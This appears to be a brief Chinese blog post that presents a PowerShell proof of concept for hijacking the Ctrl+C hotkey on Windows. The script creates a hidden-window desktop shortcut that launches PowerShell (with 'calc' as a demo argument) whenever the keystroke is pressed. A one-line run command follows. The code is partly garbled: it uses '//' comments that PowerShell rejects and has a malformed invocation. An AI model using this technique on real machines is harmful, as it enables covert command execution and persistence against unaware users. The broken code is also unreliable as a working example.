简单易用,用Powershell劫持Windows系统快捷键

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$WshShell = New-Object -comObject WScript.Shell

$Shortcut = $WshShell.CreateShortcut("desktop\desktoppayload.lnk") // 在桌面创建快捷方式按钮

$Shortcut.TargetPath = "%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe" // 执行文件

$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21" // 设置快捷按钮图标

$Shortcut.hotkey = "ctrl+c" // 快捷键

$Shortcut.WindowStyle = '7' // 最小化执行,避免弹窗

$Shortcut.Arguments = 'calc' // 执行参数

$Shortcut.Save()

执行方法:

保存poc,命令行执行

1
TYPE  POC位置 | powershell.exe - profile -

删除快捷图标即可还原

关注作者公众号,获取更多资源!
赏作者一杯咖啡~